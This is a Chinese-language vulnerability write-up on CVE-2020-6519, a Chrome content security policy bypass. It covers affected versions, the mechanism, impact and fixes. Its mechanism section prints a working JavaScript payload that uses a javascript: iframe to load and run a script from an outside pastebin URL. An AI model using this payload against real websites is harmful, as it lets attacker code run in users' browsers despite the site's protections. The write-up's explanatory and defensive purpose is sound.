挖洞经验 | Chrome浏览器的CSP策略绕过漏洞
字数 1220 2025-08-15 21:31:46
Chrome浏览器CSP策略绕过漏洞(CVE-2020-6519)深度分析
漏洞概述
CVE-2020-6519是Chrome浏览器中的一个内容安全策略(CSP)完全绕过漏洞,影响2019年3月至2020年7月发布的所有Chrome版本。该漏洞允许攻击者绕过Chrome内置的CSP策略,在受影响的网站上执行任意JavaScript代码。
受影响范围
- 浏览器:基于Chromium内核的Chrome、Opera和Edge浏览器
- 平台:Windows、Mac和Android操作系统
- 版本:2019年3月至2020年7月发布的所有Chrome版本
- 用户量:超过20亿Chrome用户(占浏览器市场65%以上)
- 受影响网站:包括Facebook、WellsFargo、Gmail、Zoom、Tiktok、Instagram、WhatsApp等众多大型网站
技术背景:CSP简介
内容安全策略(Content Security Policy, CSP)是一种网站安全机制,它通过HTTP响应头告诉浏览器哪些外部资源可以被加载和执行。CSP的主要目的是防范跨站脚本(XSS)攻击,通过限制脚本执行来源来增强网站安全性。
漏洞原理
正常情况下,当网站设置了CSP策略时,浏览器会阻止不符合策略的脚本执行。例如:
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';
var s = document.createElement("script");
s.src = top._CVE_URL;
document.body.appendChild(s);
这段代码会因为违反CSP策略而被浏览器阻止执行。
然而,通过使用javascript:协议的iframe,攻击者可以完全绕过CSP限制:
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
这种技术简单粗暴地突破了Chrome浏览器的CSP策略限制。
漏洞影响分析
-
网站分类:
- 受影响网站:仅配置了一般CSP策略的网站
- 不受影响网站:配置了严格CSP策略并使用服务端nonce或hash校验的网站,如Twitter、GitHub、LinkedIn等
-
实际危害:
- 攻击者可向网站客户端用户注入恶意代码
- 可实现与任意网站相关域名的通信
- 结合其他漏洞(如XSS)可造成更严重危害
-
漏洞评级:中危(CVSS 6.5)
漏洞测试方法
- 编写测试脚本,使用Chrome开发者工具进行测试
- 测试中调用的外部JS脚本链接示例:
https://pastebin.com/raw/XpHsfXJQ - 通过观察脚本是否被执行来判断网站是否受影响
修复方案
对于网站运营方
- 实施严格的CSP策略规则
- 加入服务端的nonce或hash校验措施
- 部署JS脚本和恶意代码注入检测机制
- 采用多层安全策略共同防护
对于终端用户
更新Chrome浏览器至84或更高版本,该版本已包含谷歌的修复补丁。
漏洞价值
该漏洞最终获得谷歌$3,000的漏洞奖励,反映了其实际危害程度和影响范围。
总结
CVE-2020-6519暴露了Chrome浏览器CSP实现中的一个严重缺陷,虽然本身评级为中危,但与网站安全配置结合可能产生重大安全风险。网站运营者应重视CSP策略的严格配置,用户应及时更新浏览器以确保安全。